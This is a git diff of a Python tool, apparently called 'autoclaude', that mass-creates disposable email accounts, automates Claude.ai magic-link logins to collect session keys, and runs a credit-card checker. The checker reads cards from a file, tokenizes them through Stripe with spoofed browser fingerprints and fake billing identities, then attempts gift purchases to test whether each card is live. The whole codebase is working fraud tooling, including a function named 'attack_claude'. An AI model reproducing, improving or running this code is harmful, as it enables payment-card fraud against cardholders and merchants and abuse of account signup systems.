# Chrome (Windows)
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
# Chrome (macOS)
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
# Chrome (Linux)
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
]
def random_ua() -> str:
"""随机返回一个 User-Agent"""
return random.choice(UA_LIST)
def random_address() -> dict:
"""生成一个随机的美国地址"""
return {
"line1": fake.street_address(),
"city": fake.city(),
"state": fake.state_abbr(),
"postal_code": fake.zipcode(),
"country": "US",
}
def random_name() -> str:
"""生成一个随机的英文姓名"""
return fake.name()

173
mail_service.py Normal file
View File

@@ -0,0 +1,173 @@
import time
import re
import random
import threading
import requests as standard_requests # 用于普通API交互
class MailSystem:
"""单个邮箱系统实例,支持多域名"""
def __init__(self, base_url, admin_email, admin_password, domains):
self.base_url = base_url
self.domains = domains # 该系统支持的域名列表
self.token = self._get_token(admin_email, admin_password)
self.headers = {"Authorization": self.token}
def _get_token(self, email, password):
"""获取身份令牌,这是我们的通行证"""
url = f"{self.base_url}/api/public/genToken"
payload = {"email": email, "password": password}
try:
resp = standard_requests.post(url, json=payload)
data = resp.json()
if data['code'] == 200:
print(f"[+] 令牌获取成功 ({self.base_url}): {data['data']['token'][:10]}...")
return data['data']['token']
else:
raise Exception(f"获取Token失败: {data}")
except Exception as e:
print(f"[-] 连接邮件系统失败 ({self.base_url}): {e}")
return None
def create_user(self, email_prefix, domain=None):
"""在系统里注册一个新邮箱用户"""
if domain is None:
domain = random.choice(self.domains)
full_email = f"{email_prefix}@{domain}"
url = f"{self.base_url}/api/public/addUser"
payload = {
"list": [
{
"email": full_email,
"password": "random_pass_ignoring_this"
}
]
}
resp = standard_requests.post(url, json=payload, headers=self.headers)
if resp.json().get('code') == 200:
print(f"[+] 邮箱用户创建成功: {full_email}")
return full_email
else:
print(f"[-] 创建邮箱失败: {resp.text}")
return None
def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
"""像猎人一样耐心等待猎物出现"""
url = f"{self.base_url}/api/public/emailList"
payload = {
"toEmail": to_email,
"sendName": "Anthropic",
"num": 1,
"size": 10,
"timeSort": "desc"
}
print(f"[*] 开始轮询邮件,目标: {to_email}...")
for i in range(retry_count):
try:
resp = standard_requests.post(url, json=payload, headers=self.headers)
data = resp.json()
if data.get('code') == 200 and data.get('data'):
emails = data['data']
for email in emails:
print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
return email.get('content') or email.get('text')
print(f"[*] 轮询中 ({i+1}/{retry_count})...")
time.sleep(sleep_time)
except Exception as e:
print(f"[-] 轮询出错: {e}")
time.sleep(sleep_time)
print("[-] 等待超时,未收到邮件。")
return None
def __repr__(self):
return f"MailSystem({self.base_url}, domains={self.domains})"
class MailPool:
"""多邮箱系统轮询调度器"""
def __init__(self, mail_configs: list[dict]):
"""
mail_configs: config.MAIL_SYSTEMS 格式的列表
"""
self.systems: list[MailSystem] = []
self._index = 0
self._lock = threading.Lock()
for cfg in mail_configs:
ms = MailSystem(
base_url=cfg["base_url"],
admin_email=cfg["admin_email"],
admin_password=cfg["admin_pass"],
domains=cfg["domains"],
)
if ms.token: # 只添加连接成功的系统
self.systems.append(ms)
else:
print(f"[!] 跳过连接失败的邮箱系统: {cfg['base_url']}")
if not self.systems:
print("[-] 没有可用的邮箱系统!")
print(f"[+] MailPool 初始化完成,可用系统: {len(self.systems)}")
def next(self) -> MailSystem | None:
"""Round-robin 返回下一个系统"""
if not self.systems:
return None
with self._lock:
ms = self.systems[self._index % len(self.systems)]
self._index += 1
return ms
def create_user(self, email_prefix) -> tuple[str | None, MailSystem | None]:
"""
使用下一个系统创建用户。
返回 (email, 对应的 MailSystem) 或 (None, None)。
"""
ms = self.next()
if not ms:
print("[-] 没有可用的邮箱系统")
return None, None
email = ms.create_user(email_prefix)
return email, ms
def get_system_by_domain(self, email: str) -> MailSystem | None:
"""根据邮箱域名找到对应的 MailSystem"""
domain = email.split("@")[-1] if "@" in email else ""
for ms in self.systems:
if domain in ms.domains:
return ms
return None
@property
def count(self) -> int:
return len(self.systems)
def info(self) -> str:
"""返回所有系统的信息摘要"""
lines = [f"📬 邮箱系统池(共 {self.count} 个):"]
for i, ms in enumerate(self.systems, 1):
domains = ", ".join(ms.domains)
lines.append(f" {i}. {ms.base_url} → [{domains}]")
return "\n".join(lines)
def extract_magic_link(html_content):
"""HTML提取出链接"""
if not html_content:
return None
pattern = r'href="(https://claude\.ai/[^"]+)"'
match = re.search(pattern, html_content)
if match:
url = match.group(1)
return url.replace("&amp;", "&")
return None

474
main.py
View File

@@ -1,468 +1,34 @@
import time import time
import uuid
import random import random
import string import string
import re
import json
import base64
import requests as standard_requests # 用于普通API交互
from curl_cffi import requests # 用于模拟指纹
from urllib.parse import urlparse, parse_qs
# --- 配置区域 (Configuration) --- from config import MAIL_SYSTEMS
# cloudmail邮件系统配置 from mail_service import MailPool, extract_magic_link
MAIL_API_BASE = "https://xxxxx.com/" # 替换为你的邮件API域名 from stripe_token import StripeTokenizer
ADMIN_EMAIL = "admin@xxxxx.com" # 替换你的管理员邮箱 from gift_checker import GiftChecker
ADMIN_PASS = "xxxxx" # 替换你的管理员密码 from claude_auth import attack_claude, finalize_login
MAIL_DOMAIN = "xxxxx.com" # 你的临时邮箱域名
# Claude 配置
CLAUDE_URL = "https://claude.ai/api/auth/send_magic_link"
#
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
# Stripe Public Key
STRIPE_PK = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
# Gift Product ID
PRODUCT_ID = "prod_TXU4hGh2EDxASl"
class ClaudeAccount:
def __init__(self, email, session_key, org_uuid, user_agent):
self.email = email
self.session_key = session_key
self.org_uuid = org_uuid
self.user_agent = user_agent
self.device_id = str(uuid.uuid4())
class MailSystem:
def __init__(self, base_url, admin_email, admin_password):
self.base_url = base_url
self.token = self._get_token(admin_email, admin_password)
self.headers = {"Authorization": self.token}
def _get_token(self, email, password):
"""获取身份令牌,这是我们的通行证"""
url = f"{self.base_url}/api/public/genToken"
payload = {"email": email, "password": password}
try:
resp = standard_requests.post(url, json=payload)
data = resp.json()
if data['code'] == 200:
print(f"[+] 令牌获取成功: {data['data']['token'][:10]}...")
return data['data']['token']
else:
raise Exception(f"获取Token失败: {data}")
except Exception as e:
print(f"[-] 连接邮件系统失败: {e}")
exit(1)
def create_user(self, email_prefix):
"""在你的系统里注册一个新灵魂"""
full_email = f"{email_prefix}@{MAIL_DOMAIN}"
url = f"{self.base_url}/api/public/addUser"
# 接口要求 list 结构
payload = {
"list": [
{
"email": full_email,
"password": "random_pass_ignoring_this"
}
]
}
resp = standard_requests.post(url, json=payload, headers=self.headers)
if resp.json().get('code') == 200:
print(f"[+] 邮箱用户创建成功: {full_email}")
return full_email
else:
print(f"[-] 创建邮箱失败: {resp.text}")
return None
def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
"""像猎人一样耐心等待猎物出现"""
url = f"{self.base_url}/api/public/emailList"
payload = {
"toEmail": to_email,
"sendName": "Anthropic", # 发件人是 Anthropic 不是 Claude
"num": 1,
"size": 10,
"timeSort": "desc"
}
print(f"[*] 开始轮询邮件,目标: {to_email}...")
for i in range(retry_count):
try:
resp = standard_requests.post(url, json=payload, headers=self.headers)
data = resp.json()
if data.get('code') == 200 and data.get('data'):
emails = data['data']
# 检查是否有来自 Claude 的邮件
for email in emails:
# 这里可以加更严格的判断,比如 subject 包含 "sign in"
print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
return email.get('content') or email.get('text')
print(f"[*] 轮询中 ({i+1}/{retry_count})...")
time.sleep(sleep_time)
except Exception as e:
print(f"[-] 轮询出错: {e}")
time.sleep(sleep_time)
print("[-] 等待超时,未收到邮件。")
return None
def extract_magic_link(html_content):
"""HTML提取出链接"""
if not html_content:
return None
pattern = r'href="(https://claude\.ai/[^"]+)"'
match = re.search(pattern, html_content)
if match:
url = match.group(1)
return url.replace("&amp;", "&")
return None
class StripeTokenizer:
def __init__(self, user_agent):
self.user_agent = user_agent
self.guid = f"{uuid.uuid4()}0a75cf"
self.muid = f"{uuid.uuid4()}1d4c1f"
self.sid = f"{uuid.uuid4()}eb67c4"
self.client_session_id = str(uuid.uuid4())
self.elements_session_config_id = str(uuid.uuid4())
def get_token(self, cc_num, exp_m, exp_y, cvc):
"""与 Stripe 交互获取 pm_id"""
url = "https://api.stripe.com/v1/payment_methods"
headers = {
"Host": "api.stripe.com",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Ch-Ua-Platform": '"Linux"',
"User-Agent": self.user_agent,
"Accept": "application/json",
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Sec-Ch-Ua-Mobile": "?0",
"Origin": "https://js.stripe.com",
"Sec-Fetch-Site": "same-site",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://js.stripe.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
# 构造完整的 form-data
time_on_page = random.randint(30000, 500000)
data = {
"type": "card",
"card[number]": cc_num,
"card[cvc]": cvc,
"card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
"card[exp_month]": exp_m,
"allow_redisplay": "unspecified",
"billing_details[address][postal_code]": "91505",
"billing_details[address][country]": "US",
"billing_details[address][line1]": "3891 Libby Street",
"billing_details[address][city]": "Burbank",
"billing_details[address][state]": "CA",
"billing_details[name]": "Test User",
"billing_details[phone]": "",
"payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
"referrer": "https://claude.ai",
"time_on_page": str(time_on_page),
"client_attribution_metadata[client_session_id]": self.client_session_id,
"client_attribution_metadata[merchant_integration_source]": "elements",
"client_attribution_metadata[merchant_integration_subtype]": "payment-element",
"client_attribution_metadata[merchant_integration_version]": "2021",
"client_attribution_metadata[payment_intent_creation_flow]": "deferred",
"client_attribution_metadata[payment_method_selection_flow]": "automatic",
"client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
"client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
"client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
"guid": self.guid,
"muid": self.muid,
"sid": self.sid,
"key": STRIPE_PK,
"_stripe_version": "2025-03-31.basil"
}
try:
print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
if resp.status_code == 200:
pm_id = resp.json().get("id")
print(f"[+] Stripe Token 获取成功: {pm_id}")
return pm_id
else:
print(f"[-] Stripe 拒绝: {resp.text}")
return None
except Exception as e:
print(f"[-] Stripe 连接错误: {e}")
return None
class GiftChecker:
def __init__(self, account: ClaudeAccount):
self.account = account
def purchase(self, pm_id):
"""尝试购买 Gift"""
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
headers = {
"Host": "claude.ai",
"User-Agent": self.account.user_agent,
"Content-Type": "application/json",
"Accept": "*/*",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": self.account.device_id,
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/gift",
"Cookie": f"sessionKey={self.account.session_key}"
}
payload = {
"product_id": PRODUCT_ID,
"currency": "USD",
"payment_method_id": pm_id,
"to_email": self.account.email,
"to_name": "",
"from_name": "Checker",
"from_email": self.account.email,
"gift_message": "",
"card_color": "clay",
"billing_address": {
"line1": "3891 Libby Street",
"city": "Burbank",
"state": "CA",
"postal_code": "91505",
"country": "US"
},
"scheduled_delivery_at": None
}
try:
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124")
resp_json = {}
try:
resp_json = resp.json()
except:
pass
if resp.status_code == 200:
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
return "LIVE"
elif resp.status_code == 402:
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
print(f"[-] 支付失败 (402): {err_msg}")
if "declined" in err_msg.lower():
return "DECLINED"
elif "insufficient" in err_msg.lower():
return "INSUFFICIENT_FUNDS"
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
return "CCN_LIVE"
else:
return "DEAD"
else:
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
return "ERROR"
except Exception as e:
print(f"[-] 购买请求异常: {e}")
return "ERROR"
def attack_claude(target_email):
"""伪装成浏览器发起攻击"""
device_id = str(uuid.uuid4())
headers = {
"Host": "claude.ai",
"Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
"Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
"Sec-Ch-Ua-Platform": '"Linux"',
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
"Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
"Content-Type": "application/json",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Anthropic-Client-Version": "1.0.0",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
payload = {
"utc_offset": -480,
"email_address": target_email,
"login_intent": None,
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
try:
print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
session = requests.Session()
response = session.post(
CLAUDE_URL,
json=payload,
headers=headers,
impersonate="chrome124"
)
if response.status_code == 200:
print("[+] 请求成功Claude 已发信。")
return True
elif response.status_code == 429:
print("[-] 被限流了 (Rate Limited)。")
else:
print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
except Exception as e:
print(f"[-] 发生异常: {e}")
return False
def finalize_login(magic_link_fragment):
"""
完成最后一步:无需浏览器,直接交换 sessionKey。
magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
返回 ClaudeAccount 对象
"""
# 1. 外科手术式拆解 Hash
if '#' in magic_link_fragment:
fragment = magic_link_fragment.split('#')[1]
else:
fragment = magic_link_fragment
if ':' not in fragment:
print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
return None
# 分割 nonce 和 base64_email
nonce, encoded_email = fragment.split(':', 1)
try:
decoded_email = base64.b64decode(encoded_email).decode('utf-8')
print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
except:
print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
# 2. 构造最终 payload
verify_url = "https://claude.ai/api/auth/verify_magic_link"
payload = {
"credentials": {
"method": "nonce",
"nonce": nonce,
"encoded_email_address": encoded_email
},
"locale": "en-US",
"oauth_client_id": None,
"source": "claude"
}
# 3. 伪造指纹头
device_id = str(uuid.uuid4())
headers = {
"Host": "claude.ai",
"Content-Type": "application/json",
"Origin": "https://claude.ai",
"Referer": "https://claude.ai/magic-link",
"User-Agent": UA,
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9",
"Anthropic-Client-Version": "1.0.0",
"Anthropic-Client-Platform": "web_claude_ai",
"Anthropic-Device-Id": device_id,
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Priority": "u=1, i"
}
try:
print(f"[*] 正在交换 SessionKey...")
session = requests.Session()
response = session.post(
verify_url,
json=payload,
headers=headers,
impersonate="chrome124"
)
if response.status_code == 200:
data = response.json()
# 1. 提取 SessionKey
session_key = response.cookies.get("sessionKey")
if not session_key:
for name, value in response.cookies.items():
if name == "sessionKey":
session_key = value
break
if not session_key:
print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
print(f"Response: {str(data)[:200]}...")
return None
# 2. 提取 Org UUID
try:
org_uuid = data['account']['memberships'][0]['organization']['uuid']
email = data['account']['email_address']
print(f"[+] 登录成功。OrgID: {org_uuid}")
return ClaudeAccount(email, session_key, org_uuid, UA)
except KeyError as e:
print(f"[-] 无法提取 Organization UUID结构可能变了: {e}")
print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
return None
else:
print(f"[-] 交换失败 Code: {response.status_code}")
print(f"Body: {response.text}")
return None
except Exception as e:
print(f"[-] 发生异常: {e}")
return None
# --- 主流程 (The Ritual) --- # --- 主流程 (The Ritual) ---
if __name__ == "__main__": if __name__ == "__main__":
# 1. 初始化邮系统 # 1. 初始化邮系统
mail_sys = MailSystem(MAIL_API_BASE, ADMIN_EMAIL, ADMIN_PASS) mail_pool = MailPool(MAIL_SYSTEMS)
if mail_pool.count == 0:
print("[-] 没有可用的邮箱系统,退出。")
exit(1)
print(mail_pool.info())
# 2. 生成随机邮箱并注册 # 2. 生成随机邮箱并注册
# 生成 10 位随机字符作为邮箱前缀
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
target_email = mail_sys.create_user(random_prefix) target_email, mail_sys = mail_pool.create_user(random_prefix)
if target_email: if target_email and mail_sys:
# 3. 发送 Magic Link # 3. 发送 Magic Link
if attack_claude(target_email): if attack_claude(target_email):
# 4. 等待并提取链接 # 4. 等待并提取链接(使用创建邮箱时对应的系统)
email_content = mail_sys.wait_for_email(target_email) email_content = mail_sys.wait_for_email(target_email)
if email_content: if email_content:
@@ -486,7 +52,6 @@ if __name__ == "__main__":
print("="*50 + "\n") print("="*50 + "\n")
# --- CC Checker 流程 --- # --- CC Checker 流程 ---
# 从 cards.txt 读取卡片列表 (格式: CARD|MM|YY|CVC)
cards = [] cards = []
try: try:
with open("cards.txt", "r") as f: with open("cards.txt", "r") as f:
@@ -504,18 +69,11 @@ if __name__ == "__main__":
for card_line in cards: for card_line in cards:
cc, mm, yy, cvc = card_line.split("|") cc, mm, yy, cvc = card_line.split("|")
# 1. 获取 Stripe Token
pm_id = tokenizer.get_token(cc, mm, yy, cvc) pm_id = tokenizer.get_token(cc, mm, yy, cvc)
if pm_id: if pm_id:
# 2. 尝试购买
result = checker.purchase(pm_id) result = checker.purchase(pm_id)
# 3. 输出结果
print(f"Card: {cc[:4]}... -> {result}") print(f"Card: {cc[:4]}... -> {result}")
# 不要跑太快,防止封 Session
time.sleep(2) time.sleep(2)
else: else:
print("[-] 获取 Account 失败。") print("[-] 获取 Account 失败。")

10
models.py Normal file
View File

@@ -0,0 +1,10 @@
import uuid
class ClaudeAccount:
def __init__(self, email, session_key, org_uuid, user_agent):
self.email = email
self.session_key = session_key
self.org_uuid = org_uuid
self.user_agent = user_agent
self.device_id = str(uuid.uuid4())

View File

@@ -6,5 +6,6 @@ readme = "README.md"
requires-python = ">=3.12" requires-python = ">=3.12"
dependencies = [ dependencies = [
"curl-cffi>=0.14.0", "curl-cffi>=0.14.0",
"python-telegram-bot>=21.0",
"requests>=2.32.5", "requests>=2.32.5",
] ]

91
stripe_token.py Normal file
View File

@@ -0,0 +1,91 @@
import uuid
import random
from curl_cffi import requests # 用于模拟指纹
from config import STRIPE_PK
from identity import random_address, random_name
class StripeTokenizer:
def __init__(self, user_agent):
self.user_agent = user_agent
self.guid = f"{uuid.uuid4()}0a75cf"
self.muid = f"{uuid.uuid4()}1d4c1f"
self.sid = f"{uuid.uuid4()}eb67c4"
self.client_session_id = str(uuid.uuid4())
self.elements_session_config_id = str(uuid.uuid4())
def get_token(self, cc_num, exp_m, exp_y, cvc):
"""与 Stripe 交互获取 pm_id"""
url = "https://api.stripe.com/v1/payment_methods"
headers = {
"Host": "api.stripe.com",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Ch-Ua-Platform": '"Linux"',
"User-Agent": self.user_agent,
"Accept": "application/json",
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
"Sec-Ch-Ua-Mobile": "?0",
"Origin": "https://js.stripe.com",
"Sec-Fetch-Site": "same-site",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://js.stripe.com/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9",
"Priority": "u=1, i"
}
# 构造完整的 form-data
time_on_page = random.randint(30000, 500000)
addr = random_address()
name = random_name()
data = {
"type": "card",
"card[number]": cc_num,
"card[cvc]": cvc,
"card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
"card[exp_month]": exp_m,
"allow_redisplay": "unspecified",
"billing_details[address][postal_code]": addr["postal_code"],
"billing_details[address][country]": addr["country"],
"billing_details[address][line1]": addr["line1"],
"billing_details[address][city]": addr["city"],
"billing_details[address][state]": addr["state"],
"billing_details[name]": name,
"billing_details[phone]": "",
"payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
"referrer": "https://claude.ai",
"time_on_page": str(time_on_page),
"client_attribution_metadata[client_session_id]": self.client_session_id,
"client_attribution_metadata[merchant_integration_source]": "elements",
"client_attribution_metadata[merchant_integration_subtype]": "payment-element",
"client_attribution_metadata[merchant_integration_version]": "2021",
"client_attribution_metadata[payment_intent_creation_flow]": "deferred",
"client_attribution_metadata[payment_method_selection_flow]": "automatic",
"client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
"client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
"client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
"guid": self.guid,
"muid": self.muid,
"sid": self.sid,
"key": STRIPE_PK,
"_stripe_version": "2025-03-31.basil"
}
try:
print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
if resp.status_code == 200:
pm_id = resp.json().get("id")
print(f"[+] Stripe Token 获取成功: {pm_id}")
return pm_id
else:
print(f"[-] Stripe 拒绝: {resp.text}")
return None
except Exception as e:
print(f"[-] Stripe 连接错误: {e}")
return None

78
uv.lock generated
View File

@@ -1,6 +1,23 @@
version = 1 version = 1
revision = 3 revision = 3
requires-python = ">=3.12" requires-python = ">=3.12"
resolution-markers = [
"python_full_version >= '3.14'",
"python_full_version < '3.14'",
]
[[package]]
name = "anyio"
version = "4.12.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "idna" },
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" },
]
[[package]] [[package]]
name = "autoclaude" name = "autoclaude"
@@ -8,12 +25,14 @@ version = "0.1.0"
source = { virtual = "." } source = { virtual = "." }
dependencies = [ dependencies = [
{ name = "curl-cffi" }, { name = "curl-cffi" },
{ name = "python-telegram-bot" },
{ name = "requests" }, { name = "requests" },
] ]
[package.metadata] [package.metadata]
requires-dist = [ requires-dist = [
{ name = "curl-cffi", specifier = ">=0.14.0" }, { name = "curl-cffi", specifier = ">=0.14.0" },
{ name = "python-telegram-bot", specifier = ">=21.0" },
{ name = "requests", specifier = ">=2.32.5" }, { name = "requests", specifier = ">=2.32.5" },
] ]
@@ -163,6 +182,43 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/5c/7c/d2ba86b0b3e1e2830bd94163d047de122c69a8df03c5c7c36326c456ad82/curl_cffi-0.14.0-cp39-abi3-win_arm64.whl", hash = "sha256:2eed50a969201605c863c4c31269dfc3e0da52916086ac54553cfa353022425c", size = 1425067, upload-time = "2025-12-16T03:25:06.454Z" }, { url = "https://files.pythonhosted.org/packages/5c/7c/d2ba86b0b3e1e2830bd94163d047de122c69a8df03c5c7c36326c456ad82/curl_cffi-0.14.0-cp39-abi3-win_arm64.whl", hash = "sha256:2eed50a969201605c863c4c31269dfc3e0da52916086ac54553cfa353022425c", size = 1425067, upload-time = "2025-12-16T03:25:06.454Z" },
] ]
[[package]]
name = "h11"
version = "0.16.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
]
[[package]]
name = "httpcore"
version = "1.0.9"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "h11" },
]
sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
]
[[package]]
name = "httpx"
version = "0.28.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "anyio" },
{ name = "certifi" },
{ name = "httpcore" },
{ name = "idna" },
]
sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
wheels = [
